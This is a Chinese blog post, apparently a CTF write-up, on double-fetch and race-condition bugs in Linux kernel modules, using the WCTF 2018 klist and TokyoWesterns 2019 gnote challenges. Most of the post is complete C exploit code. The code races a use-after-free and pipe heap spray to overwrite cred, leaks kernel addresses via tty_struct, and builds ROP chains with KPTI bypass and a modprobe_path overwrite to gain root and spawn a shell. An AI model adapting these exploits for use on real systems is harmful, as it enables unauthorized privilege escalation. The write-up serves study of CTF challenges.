linux kernel 4.4.1 uaf提权漏洞,条件竞争在Kernel提权中的应用

238473

Double-Fetch漏洞简介

随着多核CPU硬件的普及,并行程序被越来越广泛地使用,尤其是在操作系统、实时系统等领域。然而并行程序将会引入并发错误,例如多个线程都将访问一个共享的内存地址。如果其中一个恶意线程修改了该共享内存,则会导致其他线程得到恶意数据,这就导致了一个数据竞争漏洞。数据竞争极易引发并发错误,包括死锁,原子性违例(atomicity violation),顺序违例(order violation)等。当并发错误可以被攻击者利用时,就形成了并发漏洞。

238473

当内核与用户线程发生了竞争,则产生了double fetch漏洞。如上图所示,用户态进程通过调用内核函数来访问内核数据,但是如果内核函数同时也会读取该内核数据时,则会产生一种漏洞情况。例如当内核数据第一次取该数据进行检查,然后检查通过后会第二次取该数据进行使用。而如果在第一次通过检查后,用户态进程修改了该数据,即会导致内核第二次使用该数据时,数据发生改变,则会造成包括缓冲区溢出、信息泄露、空指针引用等漏洞。

下面以两道题目讲述 Double-Fetch常见的漏洞点和常见的攻击方法。

2018-WCTF-klist

漏洞分析

__int64 __fastcall add_item(__int64 a1)

{

__int64 chunk; // rax

__int64 size; // rdx

__int64 data; // rsi

__int64 v4; // rbx

__int64 v5; // rax

__int64 result; // rax

__int64 v7[3]; // [rsp+0h] [rbp-18h] BYREF

if ( copy_from_user(v7, a1, 16LL) || v7[0] > 0x400uLL )

return -22LL;

chunk = _kmalloc(v7[0] + 24, 21103296LL);

size = v7[0];

data = v7[1];

*(_DWORD *)chunk = 1;

v4 = chunk;

*(_QWORD *)(chunk + 8) = size;

if ( copy_from_user(chunk + 24, data, size) )

{

kfree(v4);

result = -22LL;

}

else

{

mutex_lock(&list_lock);

v5 = g_list;

g_list = v4;

*(_QWORD *)(v4 + 16) = v5;

mutex_unlock(&list_lock);

result = 0LL;

}

return result;

}

Add函数,可以通过kmalloc申请一个堆块,并且将堆块的前0x18当作一个管理结构,如下所示:

0x0-0x8 flag

0x8-0x10: size

0x10-0x18: next

其中flag用于标记当前堆块的使用次数,size为大小,next指向下一个堆块。并且当将堆块插入g_list链表时,首先会调用互斥锁,将堆块插入后,再解锁。

__int64 __fastcall select_item(__int64 a1, __int64 a2)

{

__int64 v2; // rbx

__int64 v3; // rax

volatile signed __int32 **v4; // rbp

mutex_lock(&list_lock);

v2 = g_list;

if ( a2 > 0 )

{

if ( !g_list )

{

LABEL_8:

mutex_unlock(&list_lock);

return -22LL;

}

v3 = 0LL;

while ( 1 )

{

++v3;

v2 = *(_QWORD *)(v2 + 16);

if ( a2 == v3 )

break;

if ( !v2 )

goto LABEL_8;

}

}

if ( !v2 )

return -22LL;

get((volatile signed __int32 *)v2);

mutex_unlock(&list_lock);

v4 = *(volatile signed __int32 ***)(a1 + 200);

mutex_lock(v4 + 1);

put(*v4);

*v4 = (volatile signed __int32 *)v2;

mutex_unlock(v4 + 1);

return 0LL;

}

select用于从 g_list中选择需要的堆块,并放入 file+200处。而且放入时,也会先检查互斥锁,然后再解锁。这里还有一个 get和 put函数,分别如下:

void __fastcall get(volatile signed __int32 *a1)

{

_InterlockedIncrement(a1);

}

__int64 __fastcall put(volatile signed __int32 *a1)

{

__int64 result; // rax

if ( a1 )

{

if ( !_InterlockedDecrement(a1) )

result = kfree();

}

return result;

}

get用于将堆块的 flag加1。put用于将堆块的flag减1,并且判断当堆块的 flag为0时,则将该堆块 free掉。这里都是原子操作,不存在竞争。

__int64 __fastcall remove_item(__int64 a1)

{

__int64 list_head; // rax

__int64 v2; // rdx

__int64 v3; // rdi

volatile signed __int32 *v5; // rdi

if ( a1 >= 0 )

{

mutex_lock(&list_lock);

if ( !a1 )

{

v5 = (volatile signed __int32 *)g_list;

if ( g_list )

{

g_list = *(_QWORD *)(g_list + 16);

put(v5);

mutex_unlock(&list_lock);

return 0LL;

}

goto LABEL_12;

}

list_head = g_list;

if ( a1 != 1 )

{

if ( !g_list )

{

LABEL_12:

mutex_unlock(&list_lock);

return -22LL;

}

v2 = 1LL;

while ( 1 )

{

++v2;

list_head = *(_QWORD *)(list_head + 16);

if ( a1 == v2 )

break;

if ( !list_head )

goto LABEL_12;

}

}

v3 = *(_QWORD *)(list_head + 16);

if ( v3 )

{

*(_QWORD *)(list_head + 16) = *(_QWORD *)(v3 + 16);

put((volatile signed __int32 *)v3);

mutex_unlock(&list_lock);

return 0LL;

}

goto LABEL_12;

}

return -22LL;

}

Remove操作,是将选择的堆块,从 g_list链表中移除,并且会对堆块的 flag减1。

unsigned __int64 __fastcall list_head(__int64 a1)

{

__int64 head; // rbx

unsigned __int64 v2; // rbx

mutex_lock(&list_lock);

get((volatile signed __int32 *)g_list);

head = g_list;

mutex_unlock(&list_lock);

v2 = -(__int64)(copy_to_user(a1, head, *(_QWORD *)(head + 8) + 24LL) != 0) & 0xFFFFFFFFFFFFFFEALL;

put((volatile signed __int32 *)g_list);

return v2;

}

list_head操作是先调用互斥锁,再从 g_list取出链表头堆块,再调用解锁。输出给用户,然后调用 put函数。

注意:我们查看每一次put操作,发现上面调用 put和 get时,都会调用互斥锁。而这里 在 put时却没有调用互斥锁。也就是存在了一个条件竞争漏洞。我们可以在执行 put函数之前,执行其他函数获得互斥锁,来构造一个条件竞争漏洞。

__int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)

{

__int64 *v5; // r13

__int64 v6; // rsi

_QWORD *v7; // rdi

__int64 result; // rax

v5 = *(__int64 **)(a1 + 200);

mutex_lock(v5 + 1);

v6 = *v5;

if ( *v5 )

{

if ( *(_QWORD *)(v6 + 8) <= a3 )

a3 = *(_QWORD *)(v6 + 8);

v7 = v5 + 1;

if ( copy_to_user(a2, v6 + 24, a3) )

{

mutex_unlock(v7);

result = -22LL;

}

else

{

mutex_unlock(v7);

result = a3;

}

}

else

{

mutex_unlock(v5 + 1);

result = -22LL;

}

return result;

}

然后,read、write都是调用 file+200处的堆块指针。

这里结合 read和 write,就能够构造一个悬垂指针,进而实现任意地址读写。

利用分析

构造 UAF

构造一个 fork进程,在子进程中 不断调用Add和 Select将堆块放入 file+200处,然后再调用 remove将 flag设置为1 。而在父进程中不断调用 list_head。那么就存在这样一种情况。

当父进程的list_head执行到 put之前时,此时互斥锁已经解锁。那么子进程就可以刚好调用了 一个 Add函数生成了一个新的链表头且执行了 remove此时flag为1,然后父进程执行put时该新链表头flag减1后,该新堆块就会被释放。然而,此时该新堆块被释放了,却在 file+200处留下了堆块地址,形成了一个悬垂指针。整体流程如下

parent process: child process

mutex_lock()

get(old_chunk_head)

mutex_unlock()

mutex_lock()

Add(new_chunk_head) flag=1

Select(new_chunk_head) flag+1=2

Remove(new_chunk_head) flag-1=1

mutex_unlock()

put(new_chunk_head) flag-1=0

任意地址读写

这里的任意地址读写并不是指定地址读写实现,而是通过 UAF漏洞修改 堆块结构中的 size,将其改大。让我们能够读写一个巨大的size。而这里就需要一个能够分配 释放的堆块,并且写入该堆块的函数。这里选择管道 pipe函数,其代码如下:

SYSCALL_DEFINE1(pipe, int __user *, fildes)

SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)

static int __do_pipe_flags(int *fd, struct file **files, int flags)

int create_pipe_files(struct file **res, int flags)

static struct inode * get_pipe_inode(void)

struct pipe_inode_info *alloc_pipe_info(void)

... ...

// v4.4.110

unsigned long pipe_bufs = PIPE_DEF_BUFFERS; // #define PIPE_DEF_BUFFERS 16

pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL);

// v4.18.4

unsigned long pipe_bufs = PIPE_DEF_BUFFERS;

pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),GFP_KERNEL_ACCOUNT);

//kcalloc最终还是调用kmalloc分配了 n*size 大小的堆空间

//static inline void *kcalloc(size_t n, size_t size, gfp_t flags)

可以看到 pipe函数也是通过kzalloc实现,而 kzalloc就是加了一个将kmalloc后的堆块清空。所以也是kmalloc函数,那么只要size恰当,那么就一定能够将我们上面uaf的 new_chunk_head堆块申请出来,并写上数据。

那么利用pipe函数堆喷,就能够实现对 uaf的 new_chunk_head的size的修改。这里的选择当然不止 pipe函数,其他堆喷方法可参考这篇文章。

覆写cred

得到任意地址读写的能力后,提权的方法其实有几种。覆写cred、修改 vdso、修改prctl、修改 modprobe_path,但是除了 覆写 cred,另外几种都需要知道内核地址。这里无法泄露地址。

那么,直接选择爆破 cred地址,然后将其 覆写为 0提权。这里选择爆破的标志位是 uid~fsgid在普通权限下都为 1000(0x3e8)。所以只要寻找到这个,就能确定 cred与 new_chunk_head的偏移。

这里我尝试了使用常用的设置 PR_SET_NAME,然后爆破寻找 该字符串地址,以此得到cred地址。但是结果是,爆破了很久在爆破出结果后,就卡住了,无法进行下一步。而调试的时候,竟然发现 子线程会一直循环执行,这点是我目前还没有考虑清楚的问题。

EXP

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

int fd;

typedef struct List{

size_t size;

char* buf;

}klist;

void ErrPro(char* buf){

printf("Error %s\n",buf);

exit(-1);

}

void Add(size_t sz, char* buffer){

klist* list = malloc(sizeof(klist));

list->size = sz-0x18;

list->buf = buffer;

if(0 < ioctl(fd, 0x1337, list)){

ErrPro("Add");

}

}

void Select(size_t num){

if(-1 == ioctl(fd, 0x1338, num)){

ErrPro("Select");

}

}

void Remove(size_t num){

if(-1 == ioctl(fd, 0x1339, num)){

ErrPro("Remove");

}

}

void getHead(char* buf){

if(-1 == ioctl(fd, 0x133A, buf)){

ErrPro("getHead");

}

}

int main(){

int pid = 0;

fd = open("/dev/klist", O_RDWR);

if(fd < 0){

ErrPro("Open dev");

}

char bufA[0x500] = { 0 };

char bufB[0x500] = { 0 };

char buf[0x500] = { 0 };

memset(bufA, 'a', 0x500);

memset(bufB, 'b', 0x500);

Add(0x280, bufA);

Select(0);

puts("competition now");

pid = fork();

if(pid == 0){

for(int i=0; i<200; i++){

pid = fork();

if(pid == 0){

while(1){

if(!getuid()){

puts("Root now=====>");

system("cat /flag");

}

}

}

}

while(1){

Add(0x280, bufA); //creat chunk0 flag=1

Select(0); //put chunk0 into file_operations,flag+1=2

Remove(0); //flag-1

Add(0x280, bufB); //race condition, maybe change chunk0

read(fd, buf, 0x500);

if(buf[0] != 'a'){ //if chunk0 changed, race win

puts("child process race win");

break;

}

Remove(0); //else, race continue

}

puts("Now pipe to heap spray");

Remove(0); //uaf point

char buf3[0x500] = { 0 };

memset(buf3, 'E', 0x500);

int fds[2];

//getchar();

//利用pipe堆喷,分配到 uaf point and change its size

pipe(&fds[0]);

for(int i = 0; i < 9; i++) {

write(fds[1], buf3, 0x500);

}

puts("We can read and write arbitary, To find cred");

unsigned int *buffer = (unsigned int *)malloc(0x1000000);

read(fd, buffer, 0x1000000); //the uaf pointer'size has been changed

unsigned int pos = 0;

int count = 0;

for(int i=0; i<0x1000000/4; i++){

if(buffer[i] == 1000 && buffer[i+1] == 1000 && buffer[i+7] == 1000){

puts("Found cred now");

pos = i+8;

for(int x=0; x<8; x++){

buffer[i+x] = 0;

}

count ++;

if(count >= 2){

break;

}

}

}

printf("pos: 0x%llx\n",pos*4);

write(fd, buffer, pos*4);

while(1){

if(!getuid()){

puts("Root now=====>");

system("cat /flag");

}

}

}

else if(pid > 0){

char buf4[0x500] = { 0 };

memset(buf4, '\x00', 0x500);

while(1){

getHead(buf4);

read(fd, buf4, 0x500);

if(buf4[0] != 'a'){

puts("Parent process race won");

break;

}

}

while(1){

if(!getuid()){

puts("Root now=====>");

system("cat /flag");

}

}

}

else

{

puts("fork failed");

return -1;

}

return 0;

}

2019-TokyoWesterns-gnote

漏洞分析

题目首先就给了源码,从源码中可以直接看出来就两个功能,一个是 write,使用了一个 siwtch case结构,实现了两个功能,一是kmalloc申请堆块,一个是 case 5选择堆块。

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)

{

unsigned int index;

mutex_lock(&lock);

/*

* 1. add note

* 2. edit note

* 3. delete note

* 4. copy note

* 5. select note

* No implementation :(

*/

switch(*(unsigned int *)buf){

case 1:

if(cnt >= MAX_NOTE){

break;

}

notes[cnt].size = *((unsigned int *)buf+1);

if(notes[cnt].size > 0x10000){

break;

}

notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);

cnt++;

break;

case 2:

printk("Edit Not implemented\n");

break;

case 3:

printk("Delete Not implemented\n");

break;

case 4:

printk("Copy Not implemented\n");

break;

case 5:

index = *((unsigned int *)buf+1);

if(cnt > index){

selected = index;

}

break;

}

mutex_unlock(&lock);

return count;

}

还有一个功能就是read,读取堆块中的数据。

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)

{

mutex_lock(&lock);

if(selected == -1){

mutex_unlock(&lock);

return 0;

}

if(count > notes[selected].size){

count = notes[selected].size;

}

copy_to_user(buf, notes[selected].contents, count);

selected = -1;

mutex_unlock(&lock);

return count;

}

然后,虽然给了源码和汇编,看到最后也没发现有什么问题。猜测可能是条件竞争,但是常规的堆块也没有竞争的可能性。这题的漏洞出的十分隐蔽了,write功能中是通过 switch case实现跳转,在汇编中switch case是通过swicth table跳转表实现的,即看如下汇编:

.text:0000000000000019 cmp dword ptr [rbx], 5 ; switch 6 cases

.text:000000000000001C ja short def_20 ; jumptable 0000000000000020 default case

.text:000000000000001E mov eax, [rbx]

.text:0000000000000020 mov rax, ds:jpt_20[rax*8] ; switch jump

.text:0000000000000028 jmp __x86_indirect_thunk_rax

会先判断 跳转id是否大于最大的跳转 路径 5,如果不大于再使用 ds:jpt_20这个跳转表来获得跳转的地址。这里可以看到这个 id,首先是从 rbx所在地址中的值与5比较,然后将rbx中的值复制给 eax,通过 eax来跳转。那么存在一种情况,当[rbx]与5比较通过后,有另一个进程修改了 rbx的值 将其改为了 一个大于跳转表的值,这里由于 rbx的值是用户态传入的参数,所以是能够被用户态所修改的。随后系统将rbx的值传给eax,此时eax大于5,即可实现 劫持控制流到一个 较大的地址。

也即,这里存在一个 double fetch洞。

利用分析

泄露地址

这里泄露地址的方法,感觉在真实漏洞中会用到,即利用 tty_struct中的指针来泄露地址。

可以先打开一个 ptmx,然后 close掉。随后使用 kmalloc申请与 tty_struct大小相同的slub,这样就能将tty_struct结构体申请出来。然后利用 read函数读取其中的指针,来泄露地址。

double-fetch堆喷

上面已经分析了可以利用 double-fetch来实现任意地址跳转。那么这里我们跳转到哪个地址呢,跳转后又该怎么执行呢?

这里我们首先选择的是用户态空间,因为这里只有用户态空间的内容是我们可控的,且未开启smap内核可以访问用户态数据。我们可以考虑在用户态通过堆喷布置大量的 gadget,使得内核态跳转时一定能落到gadget中。那么这里用户态空间选择什么地址呢?

这里首先分析 上面 swicth_table是怎么跳的,这里jmp_table+(rax*8),当我们的rax输入为 0x8000200,假设内核基址为0xffffffffc0000000,则最终访问的地址将会溢出 (0xffffffffc0000000+0x8000200*8 == 0x1000),那么最终内核最终将能够访问到 0x1000。

由于内核模块加载的最低地址是 0xffffffffc0000000,通常是基于这个地址有最多 0x1000000大小的浮动,所以这里我们的堆喷页面大小 肯定要大于 0x1000000,才能保证内核跳转一定能跳到 gadget 。而一般未开启 pie的用户态程序地址空间为 0x400000,如果我们选择低于0x400000的地址开始堆喷,那么最终肯定会对 用户态程序,动态库等造成覆盖。 所以这里我们最佳的地址是 0x8000000,我们的输入为:

(0xffffffffc0000000+0x9000000*8 == 0x8000000)

那么我们选择0x8000000地址,并堆喷 0x1000000大小的 gadget。那么这里应该选择何种 gadget呢?

这里的思路是最好确保内核态执行执行了 gadget后,能被我们劫持到位于用户态空间的的ROP上。这里选用的 gadget是 xchg eax, esp,会将 RAX寄存器的 低 4byte切换进 esp寄存器,同时rsp拓展位的高32位清0,这样就切换到用户态的栈了。

然后我们的 ROP部署在哪个地址呢?这里需要根据xchg eax, esp这个gadget的地址来计算,通过在xchg_eax_rsp_r_addr & 0xfffff000处开始分配空间,在 xchg_eax_rsp_r_addr & 0xffffffff处存放内核 ROP链,就可以通过 ROP提权。

然后这里 提权,需要注意开启了 KPTI保护,关于 KPTI保护及绕过方法可以参考这篇文章。

EXP

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

size_t user_cs, user_ss, user_rflags, user_sp;

size_t prepare_kernel = 0x69fe0;

size_t commit_creds = 0x69df0;

size_t p_rdi_r = 0x1c20d;

size_t mv_rdi_rax_p_r = 0x21ca6a;

size_t p_rcx_r = 0x37523;

size_t p_r11_p_rbp_r = 0x1025c8;

size_t kpti_ret = 0x600a4a;

size_t iretq = 0x0;

size_t modprobe_path = 0x0;

size_t xchg_eax_rsp_r = 0x1992a;

size_t xchg_cr3_sysret = 0x600116;

int fd;

int istriggered = 0;

typedef struct Knote{

unsigned int ch;

unsigned int size;

}gnote;

void Err(char* buf){

printf("%s Error\n");

exit(-1);

}

void getshell(){

if(!getuid()){

system("/bin/sh");

}

else{

err("Not root");

}

}

void shell()

{

istriggered =1;

puts("Get root");

char *shell = "/bin/sh";

char *args[] = {shell, NULL};

execve(shell, args, NULL);

}

void getroot(){

char* (*pkc)(int) = prepare_kernel;

void (*cc)(char*) = commit_creds;

(*cc)((*pkc)(0));

}

void savestatus(){

__asm__("mov user_cs,cs;"

"mov user_ss,ss;"

"mov user_sp,rsp;"

"pushf;" //push eflags

"pop user_rflags;"

);

}

void Add(unsigned int sz){

gnote gn;

gn.ch = 1;

gn.size = sz;

if(-1 == write(fd, &gn, sizeof(gnote))){

Err("Add");

}

}

void Select(unsigned int idx){

gnote gn;

gn.ch = 5;

gn.size = idx;

if(-1 == write(fd, &gn, sizeof(gnote))){

Err("Select");

}

}

void Output(char* buf, size_t size){

if(-1 == read(fd, buf, size)){

Err("Read");

}

}

void LeakAddr(){

int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);

close(fdp);

sleep(1); // trigger rcu grace period

Add(0x2e0);

Select(0);

char buffer[0x500] = { 0 };

Output(buffer, 0x2e0);

size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;

printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

prepare_kernel += vmlinux_addr;

commit_creds += vmlinux_addr;

p_rdi_r += vmlinux_addr;

xchg_eax_rsp_r += vmlinux_addr;

xchg_cr3_sysret += vmlinux_addr;

mv_rdi_rax_p_r += vmlinux_addr;

p_rcx_r += vmlinux_addr;

p_r11_p_rbp_r += vmlinux_addr;

kpti_ret += vmlinux_addr;

printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);

getchar();

puts("Leak addr OK");

}

void HeapSpry(){

char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,

MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);

unsigned long* gadget_addr = (unsigned long*)gadget_mem;

for(int i=0; i < (0x1000000/8); i++){

gadget_addr[i] = xchg_eax_rsp_r;

}

}

void Prepare_ROP(){

char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,

MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);

int i = 0;

rop_addr[i++] = p_rdi_r;

rop_addr[i++] = 0;

rop_addr[i++] = prepare_kernel;

rop_addr[i++] = mv_rdi_rax_p_r;

rop_addr[i++] = 0;

rop_addr[i++] = commit_creds;

// xchg_CR3_sysret

rop_addr[i++] = kpti_ret;

rop_addr[i++] = 0;

rop_addr[i++] = 0;

rop_addr[i++] = &shell;

rop_addr[i++] = user_cs;

rop_addr[i++] = user_rflags;

rop_addr[i++] = user_sp;

rop_addr[i++] = user_ss;

}

void race(void *s){

gnote *d=s;

while(!istriggered){

d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000

puts("[*] race ...");

}

}

void Double_Fetch(){

gnote gn;

pthread_t pthread;

gn.size = 0x10001;

pthread_create(&pthread,NULL, race, &gn);

for (int j=0; j< 0x10000000000; j++)

{

gn.ch = 1;

write(fd, (void*)&gn, sizeof(gnote));

}

pthread_join(pthread, NULL);

}

int main(){

savestatus();

fd=open("proc/gnote", O_RDWR);

if (fd<0)

{

puts("[-] Open driver error!");

exit(-1);

}

LeakAddr();

HeapSpry();

Prepare_ROP();

Double_Fetch();

return 0;

}

当然这里也可以使用 modprobe_path,执行完后手动执行一下/tmp/ll文件,即可将 flag权限改为 777。

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

size_t user_cs, user_ss, user_rflags, user_sp;

size_t prepare_kernel = 0x69fe0;

size_t commit_creds = 0x69df0;

size_t p_rdi_r = 0x1c20d;

size_t mv_rdi_rax_p_r = 0x21ca6a;

size_t p_rcx_r = 0x37523;

size_t p_r11_p_rbp_r = 0x1025c8;

size_t kpti_ret = 0x600a4a;

size_t memcpy_addr = 0x58a100;

size_t modprobe_path = 0xC2C540;

size_t xchg_eax_rsp_r = 0x1992a;

size_t xchg_cr3_sysret = 0x600116;

size_t p_rsi_r = 0x37799;

size_t p_rdx_r = 0xdd812;

int fd;

int istriggered = 0;

typedef struct Knote{

unsigned int ch;

unsigned int size;

}gnote;

void Err(char* buf){

printf("%s Error\n");

exit(-1);

}

void getshell(){

if(!getuid()){

system("/bin/sh");

}

else{

err("Not root");

}

}

void shell()

{

istriggered =1;

puts("Get root");

system("/tmp/ll");

system("cat /flag");

}

void getroot(){

char* (*pkc)(int) = prepare_kernel;

void (*cc)(char*) = commit_creds;

(*cc)((*pkc)(0));

}

void savestatus(){

__asm__("mov user_cs,cs;"

"mov user_ss,ss;"

"mov user_sp,rsp;"

"pushf;" //push eflags

"pop user_rflags;"

);

}

void Add(unsigned int sz){

gnote gn;

gn.ch = 1;

gn.size = sz;

if(-1 == write(fd, &gn, sizeof(gnote))){

Err("Add");

}

}

void Select(unsigned int idx){

gnote gn;

gn.ch = 5;

gn.size = idx;

if(-1 == write(fd, &gn, sizeof(gnote))){

Err("Select");

}

}

void Output(char* buf, size_t size){

if(-1 == read(fd, buf, size)){

Err("Read");

}

}

void LeakAddr(){

int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);

close(fdp);

sleep(1); // trigger rcu grace period

Add(0x2e0);

Select(0);

char buffer[0x500] = { 0 };

Output(buffer, 0x2e0);

size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;

printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);

prepare_kernel += vmlinux_addr;

commit_creds += vmlinux_addr;

p_rdi_r += vmlinux_addr;

xchg_eax_rsp_r += vmlinux_addr;

xchg_cr3_sysret += vmlinux_addr;

mv_rdi_rax_p_r += vmlinux_addr;

p_rcx_r += vmlinux_addr;

p_r11_p_rbp_r += vmlinux_addr;

kpti_ret += vmlinux_addr;

memcpy_addr += vmlinux_addr;

modprobe_path += vmlinux_addr;

p_rsi_r += vmlinux_addr;

p_rdx_r += vmlinux_addr;

printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);

puts("Leak addr OK");

}

void HeapSpry(){

char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,

MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);

unsigned long* gadget_addr = (unsigned long*)gadget_mem;

for(int i=0; i < (0x1000000/8); i++){

gadget_addr[i] = xchg_eax_rsp_r;

}

}

void Prepare_ROP(){

char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,

MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);

unsigned long sh_addr = (xchg_eax_rsp_r&0xfffff000)+0x1000;

memcpy(sh_addr, "/tmp/chmod.sh\0\n", 20);

int i = 0;

rop_addr[i++] = p_rdi_r;

rop_addr[i++] = modprobe_path;

rop_addr[i++] = p_rsi_r;

rop_addr[i++] = sh_addr;

rop_addr[i++] = p_rdx_r;

rop_addr[i++] = 0x18;

rop_addr[i++] = memcpy_addr;

// xchg_CR3_sysret

rop_addr[i++] = kpti_ret;

rop_addr[i++] = 0;

rop_addr[i++] = 0;

rop_addr[i++] = &shell;

rop_addr[i++] = user_cs;

rop_addr[i++] = user_rflags;

rop_addr[i++] = user_sp;

rop_addr[i++] = user_ss;

}

void race(void *s){

gnote *d=s;

while(!istriggered){

d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000

puts("[*] race ...");

}

}

void Double_Fetch(){

gnote gn;

pthread_t pthread;

gn.size = 0x10001;

pthread_create(&pthread,NULL, race, &gn);

for (int j=0; j< 0x10000000000; j++)

{

gn.ch = 1;

write(fd, (void*)&gn, sizeof(gnote));

}

pthread_join(pthread, NULL);

}

int main(){

system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");

system("chmod +x /tmp/chmod.sh");

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");

system("chmod +x /tmp/ll");

savestatus();

fd=open("proc/gnote", O_RDWR);

if (fd<0)

{

puts("[-] Open driver error!");

exit(-1);

}

LeakAddr();

HeapSpry();

Prepare_ROP();

Double_Fetch();

return 0;

}

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值